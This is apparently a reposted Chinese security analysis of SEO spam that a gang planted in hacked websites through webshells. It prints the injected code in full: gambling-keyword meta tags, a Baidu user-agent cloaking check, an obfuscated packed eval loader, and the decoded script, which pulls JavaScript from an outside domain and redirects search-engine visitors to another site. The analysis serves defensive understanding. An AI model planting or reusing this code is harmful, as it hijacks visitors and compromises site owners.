该黑产团伙通过被入侵网站的webshell后门在网站首页的头部插入如下代码，该代码会修改页面title、keywords、description，并判断浏览者是否是百度搜索引擎，如果不是搜索引擎则将网站titile修改为合法内容，以达到隐藏自己的目的：
<title>北京赛车官网开奖_北京赛车开奖网站【实时更新】</title>
<meta name="keywords" content="北京赛车开奖结果,北京赛车开奖记录,北京赛车开奖网站,北京赛车开奖直播,北京赛车开奖直播平台,北京赛车官方开奖,北京赛车开奖结果记录"/>
<meta name="description" content="北京赛车官方开奖网站【YY234.COM】,时时精准提供北京赛车开奖记录,北京赛车开奖视频,北京赛车开奖结果,北京赛车在线直播,打造全网最佳的北京赛车开奖直播平台"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="LEO YOUNG 李洋地板- By Orange NT"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c]);return p;}(\'l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\\');\',29,29,\'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68\'.split(\'|\'),0,{}))
</script>
被修改的内容通过HTML的ASCII编码隐藏，还原后为常见关键词：
titile:北京赛车官网开奖北京赛车开奖网站【实时更新】
keywords:北京赛车开奖结果北京赛车开奖记录北京赛车开奖网站北京赛车开奖直播北京赛车开奖直播平台北京赛车官方开奖北京赛车开奖结果记录
description:北京赛车官方开奖网站【】时时精准提供北京赛车开奖记录北京赛车开奖视频北京赛车开奖结果北京赛车在线直播打造全网最佳的北京赛车开奖直播平台
第二段js脚本是经过混淆编码的，执行后得到新的js，并链接到黑产团伙控制的外部javascript
< script type = "text/javascript" > eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ?"": e(parseInt(c / a))) + ((c = c % a) > 35 ?String.fromCharCode(c + 29) : c.toString(36))
};
if (!\'\'.replace(/^/, String)) {
while (c--) d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}];
e = function() {
return \'\\w+\'
};
c = 1;
};
while (c--) if (k[c]) p = p.replace(new RegExp(\'\\b\' + e(c) + \'\\b\', \'g\'), k[c]);
return p;
} (\'l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\\');\', 29, 29, \'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68\'.split(\'|\'), 0, {})) < /script>
/
执行后的js：
<script type="text/javascript" src="https://www.cpdas8.com/ylc.js"></script>
该js代码会自动向百度站长平台和360站长平台推送网页内容，并通过referrer判断浏览者是否来自搜索引擎，如果是则跳转到真实的被推广网站。
(function () {
/*百度推送代码*/
var bp = document.createElement(\'script\');
bp.src = \'//push.zhanzhang.baidu.com/push.js\';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360推送代码*/
var src = document.location.protocol + \'//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9\';
document.write(\'<script src="\' + src + \'" id="sozz"><\/script>\');
})();
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019c2.com\";");
document.writeln("</script>");
本文转载于（回复可见）：[hide]https://yq.aliyun.com/articles/698495?utm_content=g_1000054221[/hide]